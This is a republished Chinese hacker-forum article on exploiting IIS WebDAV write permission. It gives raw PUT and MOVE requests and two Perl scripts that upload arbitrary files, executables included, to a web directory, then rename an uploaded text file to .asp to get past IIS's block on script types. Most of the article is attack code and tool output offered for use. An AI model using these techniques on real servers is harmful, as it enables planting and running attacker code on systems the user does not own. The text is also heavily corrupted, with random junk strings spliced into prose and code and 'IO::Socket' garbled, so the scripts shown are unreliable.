对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

/ ~9 M# S5 O$ _2 ^- k( v0 {: q

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

" \" J" B1 @- H% T

PUT /dir/my_file.txt HTTP/1.1 Host: iis-server 2 {1 |. a2 y5 |. I" Z- v' VContent-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:00 GMT

7 y) F$ T* x& r A0 g4 Z

　　接着，我们输入10个字母：

5 f4 k4 ^1 D# n9 NAAAAAAAAAA

+ `" h2 T$ E: i2 j7 n2 ]4 B

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 ; F8 Y6 {/ p3 ^1 c& T7 m: k& lDate: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt & q! D3 o, s5 EContent-Length: 0 Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, 5 ]* U p" B# b% u* cPROPPATCH, SEARCH, LOCK, UNLOCK

% ~5 U8 l0 X, Y. b

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

! O& ?) c0 h5 Y8 ?6 N4 h# K

PUT /dir/my_file.txt HTTP/1.1 Host: iis-server Content-Length: 10

' m0 G% m7 G- k+ k, L& H

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 4 W9 V8 w9 { B7 v9 z% r$ R　　Host：是HTTP请求的发送地址 ; h3 Y; g( U3 `' I0 G8 }　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

4 V% N. {- ?5 T0 e& @, r( s

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

0 a( C' r* w7 ^3 g! Q

#!/usr/bin/perl ) {3 y l' H( l' s* L1 tuse I:Socket; $ARGC = @ARGV;

if ($ARGC != 4) { ( ]1 w2 A0 Y( N4 E　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 　　exit; 8 i' i7 K) N( _- S} $host = @ARGV[0]; $port = @ARGV[1]; $file = @ARGV[2]; $path = @ARGV[3];

@s=stat("$file"); " Z& Q$ d1 G7 X- W$size = $s[7]; #得到文件大小 1 x1 Y1 d# W8 j9 H! Y, dprint "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, 1 N% a: X% e) XPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传 : c3 a) {/ t! S9 f　　print $sock "$char"; } * O+ g$ Z; }. K9 {& @print $sock "\n\n"; @req = <$sock>; print "please wait...\n"; ; I2 @0 G9 e; ?" ~1 q, Asleep(2); if ($req[4]=~/200|201/){ ; U, g3 `4 Z. N$ G, ~　　print "upfile Succeed!!!" ; #成功显示 } 3 O8 j! C2 s5 f& U3 Felse{ - X- `3 t" i6 K8 C' M) N7 Z6 D　　print "upfile faile!!!\n\n"; 3 W% W& i& o7 }9 j. a* j　　print @req;#如果失败显示返回错误 , j) [( u8 H) ^$ |} close $sock; close FILE;

- h$ ^9 l) I8 U/ Y O) G

　　下面我们测试下：

7 l) m* e# m. f5 n, q5 f

' K* K+ p/ N- q9 A1 k+ Z% i; X

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt , D: T0 c w; ]9 e$ Vkaka.txt size is 14 bytes ; Z1 C; P: O o9 B5 A8 n! Fplease wait... upfile Succeed!!!

1 Q. }! @/ M' U! t/ `

C:\Inetpub\Scripts>dir kaka.txt 驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

5 s8 W& o# j, A3 w0 G2 j

C:\Inetpub\Scripts 的目录

2 ^# j0 x) O7 A; W/ E; u

2004-05-05 00:37 14 kaka.txt - [& E& q/ }5 v( w) \% G% E K1 个文件 14 字节 w6 s' m( ^9 |& T# _2 }0 个目录 3,871,080,448 可用字节

$ q! c m9 j- s8 X' P

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

: m; |( |5 K7 q( q

$ t0 n; A0 R4 R 6 A5 E" o" j* g9 U$ v

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes please wait... upfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

- f+ Q p, k' v4 a1 D5 b8 g; L: ~

2004-05-05 00:42 20,535 perl.exe ; {( `/ F3 F$ t9 C" }1 个文件 20,535 字节 3 L( N( C8 g" u" ?3 I9 `9 A0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

$ J! K$ ?" h5 x* w

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp ) U2 v; f& T0 zkaka.asp size is 4 bytes 6 c: i1 I) D, ?1 {please wait... upfile faile!!!

HTTP/1.1 100 Continue " o/ q( p/ i. z0 ^" e8 M; WServer: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT . _. ~+ i# g( a8 YConnection: close ' ]/ C8 a! N. t8 T+ w; M9 R$ v8 eContent-Type: text/html 0 w1 l. j, g: |Content-Length: 44

+ ~5 x% R' N- n, F/ S; E" z+ C

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

4 w. p2 F C& u, f) m% W

3 @, [; l$ u5 |& Y* I8 N( d3 W2 b

D:\>nc 127.0.0.1 80 : k. z' B3 x( I" @0 ?% W( {; QMOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 Destination: http://127.0.0.1/scripts/kaka.asp

0 z+ e; x; Q' W; c3 A6 @

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 2 o6 o/ r! t# ^5 N8 \7 `8 GDate: Sun, 05 Oct 2003 09:30:59 GMT Location: http://127.0.0.1/scripts/x.asp Content-Type: text/xml Content-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

　　测试写asp成功：

5 G) p5 E9 A4 f6 o' `

: D$ e# n5 f' b0 v( t6 J

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp " J8 A% _+ n9 |% Q************************************************************ % t" \4 r- Y5 J6 |codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> 6 E1 A% G( E. J2 P************************************************************ " ~8 X# g: d) D, _kaka.asp size is 4 bytes 3 a4 ]9 w# f# t' Q7 A! u5 n5 I9 splease wait... upfile Succeed!!! Modifyfile Succeed!!!

- }' _4 p9 p8 B& P8 U

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

1 i6 v6 N# |9 I, C. {

#!/usr/bin/perl #The iiswrite Script

use I:Socket; $ARGC = @ARGV; - I* ~/ u/ f( l" S5 Lprint "*" x 60; ' `* S' \, b$ \' ]- Gprint "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; print "*" x 60,"\n"; 2 f& \; M2 x! W6 r. jif ($ARGC != 4) " J1 ]& O# k9 r: `. j; Z9 r{ ) ?5 X! N; M: E3 L8 N0 s) l: H7 r　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; ( I7 R: c3 E6 w5 z0 ^$path = @ARGV[3]; $file = @ARGV[2];

0 \+ B' g( i; Z( w1 C* r) Q

@path=split("/",$path); 8 y8 u( r4 {1 S1 V. B$any = pop(@path); * G# [$ f5 [. X2 I9 Q9 S' ~9 ]$ d! q$path1=join("/",@path); ) R8 F% p- d5 b. {@s=stat("$file"); 6 k) ^3 @1 X4 \5 i; Y0 q6 L( C$ Z$size = $s[7];

7 a5 @: I, V+ K4 e4 \+ R a

print "$file size is $size bytes\n"; f5 m$ p. H! q0 j+ _my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; & e5 a" t( g1 |2 |8 i4 O; Q! Xprint $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; * T6 k! E: X% U- `& l% `print $sock "Content-Length: $size\n\n"; open(FILE,"$file")|| die "Can't open $file"; * K1 ^- q6 w6 k" A2 v. g# Abinmode(FILE); ' K6 w @% h% }/ w. Fwhile (read(FILE,$char,1024)) { % {; |$ q5 r/ R' I$ i& ~3 l0 H　　print $sock "$char"; } print $sock "\n\n"; @req = <$sock>; print "please wait...\n"; $ l& F) s. t. ^3 Psleep(2); - G* P+ ~6 S7 E7 M6 l' b* J! q4 }if ($req[4]=~/200|201/){ 5 ], d! v6 n$ u5 ^- Y8 w　　print "upfile Succeed!!!\n" ; 5 ~! T3 G _$ _ |$ C! S4 g} 5 a5 e) B3 ^3 S! d% belse{ 　　print "upfile faile!!!\n"; 7 I# N3 u0 i1 e: }- b1 ?, A} close $sock; 3 y i' G* I U4 {6 d5 gclose FILE;

- { x% q; P; F- H

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 4 Z9 T1 P* n ]9 `; S8 |print $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; + k7 f8 x4 J2 {8 Bprint $sock "Host: $host\n"; " c# L2 c, G2 |$ ^: O5 |" ]print $sock "Destination:http://$hostport$path\n\n\n\n"; + q( l/ \; z6 g: V$ T, c@req = <$sock>; if ($req[0]=~/20\d+|/){ & o$ W9 x5 o6 \3 ?* m　　print "Modifyfile Succeed!!!" ; } . F$ p# w0 A7 Y; Y9 b/ s6 aelse{ 　　print "upfile faile!!!"; } 4 _9 T4 A, C+ N Gclose $sock